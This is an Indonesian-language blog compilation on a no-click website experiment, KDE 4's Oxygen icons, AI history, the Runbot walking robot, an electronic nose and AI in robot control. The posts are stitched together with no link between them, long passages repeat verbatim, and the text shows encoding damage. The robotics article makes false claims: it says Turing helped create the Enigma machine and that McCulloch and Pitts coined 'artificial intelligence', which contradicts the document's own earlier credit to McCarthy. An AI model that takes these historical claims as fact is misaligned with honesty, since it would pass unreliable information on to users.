Site dontclick merupakan situs research tentang kebiasaan pengguna dengan piranti masukan mouse. Aturannya sederhana saja : penggunanya diharamkan menggunakan tombol atau meng-klik mouse mereka. Semua interaksi menggunakan medium pergerakan kursor pada koordinat x-y layar. Gambar dan informasi yang bersesuaian akan muncul dengan cukup mengarahkan mouse kita ke menu yang kita inginkan. Artinya klik digantikan dengan mode gerakan. Ada berbagai macam eksperimen di situ termasuk juga tutorial serta eksperimen bagaimana kita mengganti klik dengan gerakan sirkular pada layar.
Jika Anda ternyata mengklik tikus di bawah tangan Anda ketika sedang berkunjung ke sana, maka mereka akan merekamnya. Sengaja atau tidak, mereka akan mengkonfirmasinya. Termasuk keseluruhan gerakan yang Anda lakukan saat bertandang ke situs dontclick. Namanya juga penelitian. Mereka butuh mengerti bagaimana pengalaman pengguna akan membentuk suatu persepsi psikologis kognitif saat mereka menghadapi lingkungan yang baru apalagi mensarahkan meninggalkan kebiasaan lama pengguna komputer. Apakah teknik tersebut bermanfaat dalam mendekati pengguna? Apakah pengguna merasa nyaman atau malah frustasi? Secara ergonomis apakah ada hubungannya antara menghilangkan klik mouse dengan kesehatan manusia? (ini sepertinya berlebihan).
Saya sendiri salut dengan ide brilian ini. Ternyata bisa juga tombol yang imut itu ditinggalkan. Navigasi web yang smooth dan mudah. Namun sekali lagi ia tidak cukup signifikan untuk diterapkan. Klik tetaplah lebih nyaman. Karena ada hal2 yang tidak tergantikan oleh gerak.
Pertama adalah real model. Beragam inovasi diluncurkan agar User Interface (UI) semirip mungkin dengan dunia nyata. Pemodelan yang paling sederhana misalnya adalah sebuah tombol (button). Tombol berfungsi untuk memicu sebuah action. Menggunakannya adalah dengan cukup ditekan. Dalam hal ini pemodelan meng-klik mouse lebih mirip menekan tombol daripada sekedar menyentuh atau meraba-raba. Tolong, jangan ngeres ya.
Kedua yaitu faktor feedback. Mouse mampu menyajikan kemantapan dan kepuasan umpan balik bagi pengguna. Gerakan meng-klik tombol, sensasi sentuhan atas-bawah berpegas, suara ‘klik’ dari mouse lebih mampu membuat pengguna merasa terwakili. Alias lebih marem.
Alasan lainnya adalah tidak semua menu ingin kita lihat. Jika kita tak sengaja mengarahkan mouse ke menu lain maka akan tampil informasi lain. Hal ini cukup mengganggu jika kita sedang fokus membaca sebuah informasi yang cukup panjang. Akhirnya adalah kita harus selalu waspada dengan keberadaan posisi kursor kita. Salah letak bisa membuat kita berjarak dengan informasi yang kita butuhkan. Capek d!
Tak kalah penting yaitu alokasi gerakan kursor yang dilakukan oleh UI dontclick akan lebih banyak. Apalagi jika klik diganti dengan gerakan memutar di atas sebuah pilihan. Padahal terlalu banyak menggerakkan mouse hanya untuk mengakses menu merupakan salah satu ciri antarmuka yang kurang bersahabat.
http://bangkumahoni.com
Oxygen tentukan disain KDE 4 PDF | Cetak | E-mail
Generasi mendatang lingkungan desktop KDE 4 yang saat ini gencar disosialisasikan pengembangnya, kecuali ia menyediakan fitur-fitur baru juga akan dipercantik dengan disain icons yang dikembangkan proyek Oxygen.
Oxygen bukan sekedar koleksi Icons, tapi menurut keterangan Troy Unrau juga menentukan keserasian matoda disain grafis dari KDE 4 secara keseluruhannya. Oxygen belum lama menjadi bagian proyek KDE dan disertakan dalam pengembangan pustaka KDE. Peralihan yang cukup rumit itu, saat ini sedang dalam proses. Job termasuk membersihkan kesemrawutan dalam pemberian nama-nama icon dan penggantian nama sejumlah icon yang ada. Sebagai konsekwensi juga diperlukan perubahan nama dalam kode pemrograman. Karena itu Screenshot Oxygen masih menampilkan campuran icon-icon baru dan lama.
Walaupun kelompok kerja untuk Human Computer Interaction baru-baru ini mengklaim bahwa Oxygen telah menyelesaikan pekerjaan rumahnya, namun nyatanya masih banyak tertinggal yang harus dilengkapi atau disempurnakan. Untuk membangun elemen-elemen grafis digunakan format Vektor SVG yang didukung dan merupakan bagian dari Qt 4. Dalam mencipatakan icon-icon diperdayakan program-program sumber terbuka seperti Inkscape dan lainnya.
Oxygen mengumandangkan slogan “Udara segar untuk Desktop” tepat apa yang dibutuhkan generasi baru KDE 4 sebagai basis disain standarnya. Dibalik proyek Oxygen didukung sebuah tim yang terdiri dari pengembang dan seniman yang berkolaborasi mencipatakan karya seni agar secara keseluruhannya cantik, funsional dan serasi tapi juga tipikal. Sebagai contoh, misalnya semua icon yang tampil di toolbar secara konsisten memiliki bayangan yang sama. Setiap warna yang digunakan diambil dari palet yang sudah dibakukan untuk menjamin setiap warna serasi diantara warna yang lainnya.
Skema pemberian nama yang juga dibenahi antara lain dengan melibatkan tim Oxygen agar mematuhi prosedur yang digariskan freedesktop.org. Dengan demikian KDE, GNOME dan lingkungan Desktop lainnya, nantinya menggunakan terminologi yang sama memudahkan pengguna berinteraksi dengan desktop dari lingkungan berbeda. Icon Crystal yang saat ini banyak digunakan, nantinya disingkirakn dari pustaka KDE namun tetap tersedia sebagai paket khusus terpisah bagi mereka yang masih ingin menggunakannya.
(Artikel 5)Sejarah Kecerdasan Buatan
Pada awal abad 17, René Descartes mengemukakan bahwa tubuh hewan bukanlah apa-apa melainkan hanya mesin-mesin yang rumit. Blaise Pascal menciptakan mesin penghitung digital mekanis pertama pada 1642. Pada 19, Charles Babbage dan Ada Lovelace bekerja pada mesin penghitung mekanis yang dapat diprogram.
Bertrand Russell dan Alfred North Whitehead menerbitkan Principia Mathematica, yang merombak logika formal. Warren McCulloch dan Walter Pitts menerbitkan “Kalkulus Logis Gagasan yang tetap ada dalam Aktivitas ” pada 1943 yang meletakkan pondasi untuk jaringan syaraf.
Tahun 1950-an adalah periode usaha aktif dalam AI. Program AI pertama yang bekerja ditulis pada 1951 untuk menjalankan mesin Ferranti Mark I di University of Manchester (UK): sebuah program permainan naskah yang ditulis oleh Christopher Strachey dan program permainan catur yang ditulis oleh Dietrich Prinz. John McCarthy membuat istilah “kecerdasan buatan ” pada konferensi pertama yang disediakan untuk pokok persoalan ini, pada 1956. Dia juga menemukan bahasa pemrograman Lisp. Alan Turing memperkenalkan “Turing test” sebagai sebuah cara untuk mengoperasionalkan test perilaku cerdas. Joseph Weizenbaum membangun ELIZA, sebuah chatterbot yang menerapkan psikoterapi Rogerian.
Selama tahun 1960-an dan 1970-an, Joel Moses mendemonstrasikan kekuatan pertimbangan simbolis untuk mengintegrasikan masalah di dalam program Macsyma, program berbasis pengetahuan yang sukses pertama kali dalam bidang matematika. Marvin Minsky dan Seymour Papert menerbitkan Perceptrons, yang mendemostrasikan batas jaringan syaraf sederhana dan Alain Colmerauer mengembangkan bahasa komputer Prolog. Ted Shortliffe mendemonstrasikan kekuatan sistem berbasis aturan untuk representasi pengetahuan dan inferensi dalam diagnosa dan terapi medis yang kadangkala disebut sebagai sistem pakar pertama. Hans Moravec mengembangkan kendaraan terkendali komputer pertama untuk mengatasi jalan berintang yang kusut secara mandiri.
Pada awal abad 17, René Descartes mengemukakan bahwa tubuh hewan bukanlah apa-apa melainkan hanya mesin-mesin yang rumit. Blaise Pascal menciptakan mesin penghitung digital mekanis pertama pada 1642. Pada 19, Charles Babbage dan Ada Lovelace bekerja pada mesin penghitung mekanis yang dapat diprogram.
Bertrand Russell dan Alfred North Whitehead menerbitkan Principia Mathematica, yang merombak logika formal. Warren McCulloch dan Walter Pitts menerbitkan “Kalkulus Logis Gagasan yang tetap ada dalam Aktivitas ” pada 1943 yang meletakkan pondasi untuk jaringan syaraf.
Tahun 1950-an adalah periode usaha aktif dalam AI. Program AI pertama yang bekerja ditulis pada 1951 untuk menjalankan mesin Ferranti Mark I di University of Manchester (UK): sebuah program permainan naskah yang ditulis oleh Christopher Strachey dan program permainan catur yang ditulis oleh Dietrich Prinz. John McCarthy membuat istilah “kecerdasan buatan ” pada konferensi pertama yang disediakan untuk pokok persoalan ini, pada 1956. Dia juga menemukan bahasa pemrograman Lisp. Alan Turing memperkenalkan “Turing test” sebagai sebuah cara untuk mengoperasionalkan test perilaku cerdas. Joseph Weizenbaum membangun ELIZA, sebuah chatterbot yang menerapkan psikoterapi Rogerian.
Selama tahun 1960-an dan 1970-an, Joel Moses mendemonstrasikan kekuatan pertimbangan simbolis untuk mengintegrasikan masalah di dalam program Macsyma, program berbasis pengetahuan yang sukses pertama kali dalam bidang matematika. Marvin Minsky dan Seymour Papert menerbitkan Perceptrons, yang mendemostrasikan batas jaringan syaraf sederhana dan Alain Colmerauer mengembangkan bahasa komputer Prolog. Ted Shortliffe mendemonstrasikan kekuatan sistem berbasis aturan untuk representasi pengetahuan dan inferensi dalam diagnosa dan terapi medis yang kadangkala disebut sebagai sistem pakar pertama. Hans Moravec mengembangkan kendaraan terkendali komputer pertama untuk mengatasi jalan berintang yang kusut secara mandiri.
Teori Otak Dengkul Bikin Robot Jalan Cepat
(Artikel 4)Teori Otak Dengkul Bikin Robot Jalan Cepat
Ilmuwan di Jerman berhasil menemukan cara untuk membuat robot berjalan mirip manusia. Bukan hanya mirip, robot ini pun bisa berjalan cepat dibandingkan robot serupa yang sudah ada.
Robot itu bernama Runbot, sebuah robot berkaki dua berukuran kecil yang bisa bergerak sejarak tiga kali panjang kakinya dalam satu detik. Ini hanya sedikit lebih lambat dari kecepatan manusia saat berjalan dengan cepat.
Robot ini menggunakan teori 'otak dengkul' yang dikemukakan pertama kali oleh NIkolai Bernstein pada era 1930-an. Teori itu pada intinya mengemukakan bahwa otak manusia (yang ada di kepala) tidak melulu memproses cara berjalan.
Otak, ujar Bernstein, hanya bekerja saat berjalan dari satu permukaan ke permukaan lain, misalnya dari lantai ke rumput, atau saat permukaan tidak rata. Selebihnya, kemampuan berjalan ditangani oleh 'otak' alias syaraf-syaraf di tulang punggung dan kaki, termasuk di dengkul.
Dengan menerapkan teori tersebut, Profesor Florentin Woergoetter dan tim dari Universitas Gottingen, Jerman, berhasil membuat Runbot. Tim Woergoetter mencakup ilmuwan dari berbagai latar belakang, termasuk Poramate Manoonpong, Tao Geng, Tomas Kulvicius dan Bernd Porr.
Bukan Robot Kikuk
Saat berjalan menuju sebuah tanjakan, Woergoetter mengatakan, 'otak dengkul' Runbot akan menganggap tidak ada masalah. Namun ketika tubuh Runbot terjatuh karena gaya gravitasi menariknya ke belakang sistem 'otak atas' Runbot akan mendeteksinya dan melakukan perubahan.
Selanjutnya, ujar Woergoetter, perubahan itu akan diterapkan ke 'otak dengkul' sehingga 'otak atas' tak perlu terus menerus melakukan proses. "Sulitnya pada robot, adalah menerapkan gerakan pada waktu yang tepat --dalam hitungan milidetik-- agar tidak jatuh," paparnya.
Runbot memiliki cara jalan yang berbeda dengan robot populer seperti Asimo, atau sejenisnya. "Robot-robot itu adalah pejalan kinematis, mereka berjalan selangkah demi selangkah dan memperhitungkan setiap sudut setiap milidetik," ia menjelaskan.
Melalui teknologi kecerdasan buatan dan rekayasa robotika, Woergoetter mengatakan proses rumit itu memang bisa dilakukan. "Namun sangat kikuk. Manusia tidak berjalan seperti itu. Mesin-mesin besar itu menghentak bagai robot, kami mau membuat robot yang berjalan seperti manusia," ujarnya.
Saat ini tim tersebut sedang memikirkan bagaimana menerapkan Runbot untuk membuat robot yang berukuran lebih besar. Runbot juga akan dikembangkan agar reaksinya lebih cepat dan lebih adaptif.
Diposting oleh alfa_zR di 06:31 0 komentar Link ke posting ini
PENCIUMAN ELEKTRONIK INGIN MENGGESER HIDUNG
Sebagai indera penciuman, hidung sanggup membaui ribuan aroma yang berbeda. Mulai dari aroma makanan lezat, harumnya mawar, hingga bau tak sedap. Bisakah peran besar organ penciuman itu diambil alih oleh alat pencium buatan atau sejenisnya? Laboratorium Kecerdasan Komputasional, Fakultas Ilmu Komputer Universitas Indonesia, telah merancang tiruan hidung
Foto: Dok. Wisnu Jatmiko
Perangkat sistem penciuman elektronik buatan Wisnu.
Sebenarnya, tidak gampang merancang sistem penciuman buatan. Pasalnya, hidung yang sarat dengan saraf penciuman itu tergolong organ paling sulit untuk dibuat tiruannya, setelah organ perasa alias lidah. Ini diakui oleh Benyamin Kusumoputro, Ph.D., Kepala Laboratorium Kecerdasan Komputasional Fakultas Ilmu Komputer Universitas Indonesia di Depok.
Meskipun demikian bukan berarti tidak mungkin ditiru. Bisa saja, hanya belum mampu menyamai 100% peran hidung beneran. Maklum, saraf sistem penciuman manusia memang ajaib, sanggup membedakan puluhan ribu aroma berbeda. Lagi pula mekanisme sistem penciuman dari sono-nya amat efektif dalam memilah dan membedakan perlagai aroma. Ibaratnya, bisa mendeteksi satu molekul aroma di antara puluhan ribu molekul di udara!
Apa pun wujud rancangan sistem hidung elektronik itu, yang pasti tersimpan tujuan mulia. Yakni untuk mendeteksi dan mengklasifikasikan aroma secara otomatis. Sadar atau tidak, tersembunyi juga keinginan menggeser peran hidung sebagai pengontrol kualitas dalam industri yang membutuhkan pengenalan aroma, terutama industri minuman, kosmetik, dan minyak wangi.
Ini bukan berarti meremehkan indera penciuman kita sendiri. Masalahnya, sistem penciuman kita amat dipengaruhi kondisi perasaan sesaat dan kesehatan. Artinya, ketelitian dan kontrol kualitas pengenalan aroma bisa terpengaruh. Belum lagi kalau petugas kontrol kualitas aroma mendadak terserang pilek, bisa-bisa indera penciumannya tidak berfungsi dengan baik.
Ilmuwan di Jerman berhasil menemukan cara untuk membuat robot berjalan mirip manusia. Bukan hanya mirip, robot ini pun bisa berjalan cepat dibandingkan robot serupa yang sudah ada.
Robot itu bernama Runbot, sebuah robot berkaki dua berukuran kecil yang bisa bergerak sejarak tiga kali panjang kakinya dalam satu detik. Ini hanya sedikit lebih lambat dari kecepatan manusia saat berjalan dengan cepat.
Robot ini menggunakan teori 'otak dengkul' yang dikemukakan pertama kali oleh NIkolai Bernstein pada era 1930-an. Teori itu pada intinya mengemukakan bahwa otak manusia (yang ada di kepala) tidak melulu memproses cara berjalan.
Otak, ujar Bernstein, hanya bekerja saat berjalan dari satu permukaan ke permukaan lain, misalnya dari lantai ke rumput, atau saat permukaan tidak rata. Selebihnya, kemampuan berjalan ditangani oleh 'otak' alias syaraf-syaraf di tulang punggung dan kaki, termasuk di dengkul.
Dengan menerapkan teori tersebut, Profesor Florentin Woergoetter dan tim dari Universitas Gottingen, Jerman, berhasil membuat Runbot. Tim Woergoetter mencakup ilmuwan dari berbagai latar belakang, termasuk Poramate Manoonpong, Tao Geng, Tomas Kulvicius dan Bernd Porr.
Bukan Robot Kikuk
Saat berjalan menuju sebuah tanjakan, Woergoetter mengatakan, 'otak dengkul' Runbot akan menganggap tidak ada masalah. Namun ketika tubuh Runbot terjatuh karena gaya gravitasi menariknya ke belakang sistem 'otak atas' Runbot akan mendeteksinya dan melakukan perubahan.
Selanjutnya, ujar Woergoetter, perubahan itu akan diterapkan ke 'otak dengkul' sehingga 'otak atas' tak perlu terus menerus melakukan proses. "Sulitnya pada robot, adalah menerapkan gerakan pada waktu yang tepat --dalam hitungan milidetik-- agar tidak jatuh," paparnya.
Runbot memiliki cara jalan yang berbeda dengan robot populer seperti Asimo, atau sejenisnya. "Robot-robot itu adalah pejalan kinematis, mereka berjalan selangkah demi selangkah dan memperhitungkan setiap sudut setiap milidetik," ia menjelaskan.
Melalui teknologi kecerdasan buatan dan rekayasa robotika, Woergoetter mengatakan proses rumit itu memang bisa dilakukan. "Namun sangat kikuk. Manusia tidak berjalan seperti itu. Mesin-mesin besar itu menghentak bagai robot, kami mau membuat robot yang berjalan seperti manusia," ujarnya.
Saat ini tim tersebut sedang memikirkan bagaimana menerapkan Runbot untuk membuat robot yang berukuran lebih besar. Runbot juga akan dikembangkan agar reaksinya lebih cepat dan lebih adaptif.
Diposting oleh alfa_zR di 06:31 0 komentar Link ke posting ini
PENCIUMAN ELEKTRONIK INGIN MENGGESER HIDUNG
Sebagai indera penciuman, hidung sanggup membaui ribuan aroma yang berbeda. Mulai dari aroma makanan lezat, harumnya mawar, hingga bau tak sedap. Bisakah peran besar organ penciuman itu diambil alih oleh alat pencium buatan atau sejenisnya? Laboratorium Kecerdasan Komputasional, Fakultas Ilmu Komputer Universitas Indonesia, telah merancang tiruan hidung
Foto: Dok. Wisnu Jatmiko
Perangkat sistem penciuman elektronik buatan Wisnu.
Sebenarnya, tidak gampang merancang sistem penciuman buatan. Pasalnya, hidung yang sarat dengan saraf penciuman itu tergolong organ paling sulit untuk dibuat tiruannya, setelah organ perasa alias lidah. Ini diakui oleh Benyamin Kusumoputro, Ph.D., Kepala Laboratorium Kecerdasan Komputasional Fakultas Ilmu Komputer Universitas Indonesia di Depok.
Meskipun demikian bukan berarti tidak mungkin ditiru. Bisa saja, hanya belum mampu menyamai 100% peran hidung beneran. Maklum, saraf sistem penciuman manusia memang ajaib, sanggup membedakan puluhan ribu aroma berbeda. Lagi pula mekanisme sistem penciuman dari sono-nya amat efektif dalam memilah dan membedakan perlagai aroma. Ibaratnya, bisa mendeteksi satu molekul aroma di antara puluhan ribu molekul di udara!
Apa pun wujud rancangan sistem hidung elektronik itu, yang pasti tersimpan tujuan mulia. Yakni untuk mendeteksi dan mengklasifikasikan aroma secara otomatis. Sadar atau tidak, tersembunyi juga keinginan menggeser peran hidung sebagai pengontrol kualitas dalam industri yang membutuhkan pengenalan aroma, terutama industri minuman, kosmetik, dan minyak wangi.
Ini bukan berarti meremehkan indera penciuman kita sendiri. Masalahnya, sistem penciuman kita amat dipengaruhi kondisi perasaan sesaat dan kesehatan. Artinya, ketelitian dan kontrol kualitas pengenalan aroma bisa terpengaruh. Belum lagi kalau petugas kontrol kualitas aroma mendadak terserang pilek, bisa-bisa indera penciumannya tidak berfungsi dengan baik.
KECERDASAN BUATAN ROBOTIK
(Artikel 3 )KECERDASAN BUATAN DALAM ROBOTIK
Kecerdasan Buatan (Artificial Intelligence) dalam robotik adalah suatu algorithma (yang dipandang) cerdas yang diprogramkan ke dalam kontroler robot. Pengertian cerdas di sini sangat relatif, karena tergantung dari sisi mana sesorang memandang.
Para filsuf diketahui telah mulai ribuan tahun yang lalu mencoba untuk memahami dua pertanyaan mendasar: bagaimanakah pikiran manusia itu bekerja, dan, dapatkah yang bukan-manusia itu berpikir? (Negnevitsky, 2004). Hingga sekarang, tak satupun mampu menjawab dengan tepat dua pertanyaan ini. Pernyataan cerdas yang pada dasarnya digunakan untuk mengukur kemampuan berpikir manusia selalu menjadi perbincangan menarik karena yang melakukan penilaian cerdas atau tidak adalah juga manusia. Sementara itu, manusia tetap bercita-cita untuk menularkan �kecerdasan manusia� kepada mesin.
Dalam literatur, orang pertama yang dianggap sebagai pionir dalam mengembangkan mesin cerdas (intelligence machine) adalah Alan Turing, sorang matematikawan asal Inggris yang memulai karir saintifiknya di awal tahun 1930-an. Di tahun 1937 ia menulis paper tentang konsep mesin universal (universal machine). Kemudian, selama perang dunia ke-2 ia dikenal sebagai pemain kunci dalam penciptaan Enigma, sebuah mesin encoding milik militer Jerman. Setelah perang, Turing membuat �automatic computing engine�. Ia dikenal juga sebagai pencipta pertama program komputer untuk bermain catur, yang kemudian program ini dikembangkan dan dimainkan di komputer milik Manchester University. Karya-karyanya ini, yang kemudian dikenal sebagai Turing Machine, dewasa ini masih dapat ditemukan aplikasi-aplikasinya. Beberapa tulisannya yang berkaitan dengan prediksi perkembangan komputer di masa datang akhirnya juga ada yang terbukti. Misalnya tentang ramalannya bahwa di tahun 2000-an komputer akan mampu melakukan percakapan dengan manusia. Meski tidak ditemukan dalam paper-papernya tentang istilah �resmi�: artificial intelligence, namun para peneliti di bidang ini sepakat untuk menobatkan Turing sebagai orang pertama yang mengembangkan kecerdasan buatan.
Secara saintifik, istilah kecerdasan buatan � untuk selanjutnya disebut sebagai AI (artificial intelligence) � pertama kali diperkenalkan oleh Warren McCulloch, seorang filsuf dan ahli perobatan dari Columbia University, dan Walter Pitts, seorang matematikawan muda pada tahun 1943, (Negnevitsky, 2004). Mereka mengajukan suatu teori tentang jaringan saraf tiruan (artificial neural network, ANN) � untuk selanjutnya disebut sebagai ANN � bahwa setiap neuron dapat dipostulasikan dalam dua keadaan biner, yaitu ON dan OFF. Mereka mencoba menstimulasi model neuron ini secara teori dan eksperimen di laboratorium. Dari percobaan, telah didemonstrasikan bahwa model jaringan saraf yang mereka ajukan mempunyai kemiripan dengan mesin Turing, dan setiap fungsi perhitungan dapat dapat diselesaikan melalui jaringan neuron yang mereka modelkan.
Kendati mereka meraih sukses dalam pembuktian aplikasinya, pada akhirnya melalui eksperimen lanjut diketahui bahwa model ON-OFF pada ANN yang mereka ajukan adalah kurang tepat. Kenyataannya, neuron memiliki karakteristik yang sangat nonlinear yang tidak hanya memiliki keadaan ON-OFF saja dalam aktifitasnya. Walau demikian, McCulloch akhirnya dikenal sebagai orang kedua setelah Turing yang gigih mendalami bidang kecerdasan buatan dan rekayasa mesin cerdas. Perkembangan ANN sempat mengalami masa redup pada tahun 1970-an. Baru kemudian pada pertengahan 1980-an ide ini kembali banyak dikaji oleh para peneliti.
Sementara itu, metoda lain dalam AI yang sama terkenalnya dengan ANN adalah Fuzzy Logic (FL) � untuk selanjutnya ditulis sebagai FL. Kalau ANN didisain berdasarkan kajian cara otak biologis manusia bekerja (dari dalam), maka FL justru merupakan representasi dari cara berfikir manusia yang nampak dari sisi luar. Jika ANN dibuat berdasarkan model biologis teoritis, maka FL dibuat berdasarkan model pragmatis praktis. FL adalah representasi logika berpikir manusia yang tertuang dalam bentuk kata-kata.
Kajian saintifik pertama tentang logika berfikir manusia ini dipublikasikan oleh Lukazewicz, seorang filsuf, sekitar tahun 1930-an. Ia mengajukan beberapa representasi matematik tentang �kekaburan� (fuzziness) logika ketika manusia mengungkapkan atau menyatakan penilaian terhadap tinggi, tua dan panas (tall, old, & hot). Jika logika klasik hanya menyatakan 1 atau 0, ya atau tidak, maka ia mencoba mengembangkan pernyataan ini dengan menambahkan faktor kepercayaan (truth value) di antara 0 dan 1.
Di tahun 1965, Lotfi Zadeh, seorang profesor di University of California, Berkeley US, mempublikasikan papernya yang terkenal, �Fuzzy Sets�. Penelitian-penelitian tentang FL dan fuzzy system dalam AI yang berkembang dewasa ini hampir selalu menyebutkan paper Zadeh itulah sebagai basis pijakannya. Ia mampu menjabarkan FL dengan pernyataan matematik dan visual yang relatif mudah untuk dipahami. Karena basis kajian FL ini kental berkaitan dengan sistem kontrol (Zadeh adalah profesor di bidang teknik elektro) maka pernyataan matematiknya banyak dikembangkan dalam konteks pemrograman komputer.
Metoda AI lain yang juga berkembang adalah algorithma genetik (genetic algorithm, GA) � untuk selanjutnya disebut sebagai GA. Dalam pemrograman komputer, aplikasi GA ini dikenal sebagai pemrograman berbasis teori evolusi (evolutionary computation, EC) � untuk selanjutnya disebut sebagai EC. Konsep EC ini dipublikasikan pertama kali oleh Holland (1975). Ia mengajukan konsep pemrograman berbasis GA yang diilhami oleh teori Darwin. Intinya, alam (nature), seperti manusia, memiliki kemampuan adaptasi dan pembelajaran alami �tanpa perlu dinyatakan: apa yang harus dilakukan�. Dengan kata lain, alam memilih �kromosom yang baik� secara �buta�/alami. Seperti pada ANN, kajian GA juga pernah mengalami masa vakum sebelum akhirnya banyak peneliti memfokuskan kembali perhatiannya pada teori EC.
GA pada dasarnya terdiri dari dua macam mekanisme, yaitu encoding dan evaluation. Davis (1991) mempublikasikan papernya yang berisi tentang beberapa metoda encoding. Dari berbagai literatur diketahui bahwa tidak ada metoda encoding yang mampu menyelesaikan semua permasalahan dengan sama baiknya. Namun demikian, banyak peneliti yang menggunakan metoda bit string dalam kajian-kajian EC dewasa ini.
Aplikasi AI dalam kontrol robotik dapat diilustrasikan sebagai berikut,
Gambar 4.1: Kontrol robot loop tertutup berbasis AI
Penggunaan AI dalam kontroler dilakukan untuk mendapatkan sifat dinamik kontroler �secara cerdas�. Seperti telah dijelaskan di muka, secara klasik, kontrol P, I, D atau kombinasi, tidak dapat melakukan adaptasi terhadap perubahan dinamik sistem selama operasi karena parameter P, I dan D itu secara teoritis hanya mampu memberikan efek kontrol terbaik pada kondisi sistem yang sama ketika parameter tersebut di-tune. Di sinilah kemudian dikatakan bahwa kontrol klasik ini �belum cerdas� karena belum mampu mengakomodasi sifat-sifat nonlinieritas atau perubahan-perubahan dinamik, baik pada sistem robot itu sendiri maupun terhadap perubahan beban atau gangguan lingkungan.
Banyak kajian tentang bagaimana membuat P, I dan D menjadi dinamis, seperti misalnya kontrol adaptif, namun di sini hanya akan dibahas tentang rekayasa bagaimana membuat sistem kontrol bersifat �cerdas� melalui pendekatan-pendekatan AI yang populer, seperti ANN, FL dan EC atau GA.
Gambar 4.1 mengilustrasikan tentang skema AI yang digunakan secara langsung sebagai kontroler sistem robot. Dalam aplikasi lain, AI juga dapat digunakan untuk membantu proses identifikasi model dari sistem robot, model lingkungan atau gangguan, model dari tugas robot (task) seperti membuat rencana trajektori, dan sebagainya. Dalam hal ini konsep AI tidak digunakan secara langsung (direct) ke dalam kontroler, namun lebih bersifat tak langsung (indirect).
Kecerdasan Buatan (Artificial Intelligence) dalam robotik adalah suatu algorithma (yang dipandang) cerdas yang diprogramkan ke dalam kontroler robot. Pengertian cerdas di sini sangat relatif, karena tergantung dari sisi mana sesorang memandang.
Para filsuf diketahui telah mulai ribuan tahun yang lalu mencoba untuk memahami dua pertanyaan mendasar: bagaimanakah pikiran manusia itu bekerja, dan, dapatkah yang bukan-manusia itu berpikir? (Negnevitsky, 2004). Hingga sekarang, tak satupun mampu menjawab dengan tepat dua pertanyaan ini. Pernyataan cerdas yang pada dasarnya digunakan untuk mengukur kemampuan berpikir manusia selalu menjadi perbincangan menarik karena yang melakukan penilaian cerdas atau tidak adalah juga manusia. Sementara itu, manusia tetap bercita-cita untuk menularkan �kecerdasan manusia� kepada mesin.
Dalam literatur, orang pertama yang dianggap sebagai pionir dalam mengembangkan mesin cerdas (intelligence machine) adalah Alan Turing, sorang matematikawan asal Inggris yang memulai karir saintifiknya di awal tahun 1930-an. Di tahun 1937 ia menulis paper tentang konsep mesin universal (universal machine). Kemudian, selama perang dunia ke-2 ia dikenal sebagai pemain kunci dalam penciptaan Enigma, sebuah mesin encoding milik militer Jerman. Setelah perang, Turing membuat �automatic computing engine�. Ia dikenal juga sebagai pencipta pertama program komputer untuk bermain catur, yang kemudian program ini dikembangkan dan dimainkan di komputer milik Manchester University. Karya-karyanya ini, yang kemudian dikenal sebagai Turing Machine, dewasa ini masih dapat ditemukan aplikasi-aplikasinya. Beberapa tulisannya yang berkaitan dengan prediksi perkembangan komputer di masa datang akhirnya juga ada yang terbukti. Misalnya tentang ramalannya bahwa di tahun 2000-an komputer akan mampu melakukan percakapan dengan manusia. Meski tidak ditemukan dalam paper-papernya tentang istilah �resmi�: artificial intelligence, namun para peneliti di bidang ini sepakat untuk menobatkan Turing sebagai orang pertama yang mengembangkan kecerdasan buatan.
Secara saintifik, istilah kecerdasan buatan � untuk selanjutnya disebut sebagai AI (artificial intelligence) � pertama kali diperkenalkan oleh Warren McCulloch, seorang filsuf dan ahli perobatan dari Columbia University, dan Walter Pitts, seorang matematikawan muda pada tahun 1943, (Negnevitsky, 2004). Mereka mengajukan suatu teori tentang jaringan saraf tiruan (artificial neural network, ANN) � untuk selanjutnya disebut sebagai ANN � bahwa setiap neuron dapat dipostulasikan dalam dua keadaan biner, yaitu ON dan OFF. Mereka mencoba menstimulasi model neuron ini secara teori dan eksperimen di laboratorium. Dari percobaan, telah didemonstrasikan bahwa model jaringan saraf yang mereka ajukan mempunyai kemiripan dengan mesin Turing, dan setiap fungsi perhitungan dapat dapat diselesaikan melalui jaringan neuron yang mereka modelkan.
Kendati mereka meraih sukses dalam pembuktian aplikasinya, pada akhirnya melalui eksperimen lanjut diketahui bahwa model ON-OFF pada ANN yang mereka ajukan adalah kurang tepat. Kenyataannya, neuron memiliki karakteristik yang sangat nonlinear yang tidak hanya memiliki keadaan ON-OFF saja dalam aktifitasnya. Walau demikian, McCulloch akhirnya dikenal sebagai orang kedua setelah Turing yang gigih mendalami bidang kecerdasan buatan dan rekayasa mesin cerdas. Perkembangan ANN sempat mengalami masa redup pada tahun 1970-an. Baru kemudian pada pertengahan 1980-an ide ini kembali banyak dikaji oleh para peneliti.
Sementara itu, metoda lain dalam AI yang sama terkenalnya dengan ANN adalah Fuzzy Logic (FL) � untuk selanjutnya ditulis sebagai FL. Kalau ANN didisain berdasarkan kajian cara otak biologis manusia bekerja (dari dalam), maka FL justru merupakan representasi dari cara berfikir manusia yang nampak dari sisi luar. Jika ANN dibuat berdasarkan model biologis teoritis, maka FL dibuat berdasarkan model pragmatis praktis. FL adalah representasi logika berpikir manusia yang tertuang dalam bentuk kata-kata.
Kajian saintifik pertama tentang logika berfikir manusia ini dipublikasikan oleh Lukazewicz, seorang filsuf, sekitar tahun 1930-an. Ia mengajukan beberapa representasi matematik tentang �kekaburan� (fuzziness) logika ketika manusia mengungkapkan atau menyatakan penilaian terhadap tinggi, tua dan panas (tall, old, & hot). Jika logika klasik hanya menyatakan 1 atau 0, ya atau tidak, maka ia mencoba mengembangkan pernyataan ini dengan menambahkan faktor kepercayaan (truth value) di antara 0 dan 1.
Di tahun 1965, Lotfi Zadeh, seorang profesor di University of California, Berkeley US, mempublikasikan papernya yang terkenal, �Fuzzy Sets�. Penelitian-penelitian tentang FL dan fuzzy system dalam AI yang berkembang dewasa ini hampir selalu menyebutkan paper Zadeh itulah sebagai basis pijakannya. Ia mampu menjabarkan FL dengan pernyataan matematik dan visual yang relatif mudah untuk dipahami. Karena basis kajian FL ini kental berkaitan dengan sistem kontrol (Zadeh adalah profesor di bidang teknik elektro) maka pernyataan matematiknya banyak dikembangkan dalam konteks pemrograman komputer.
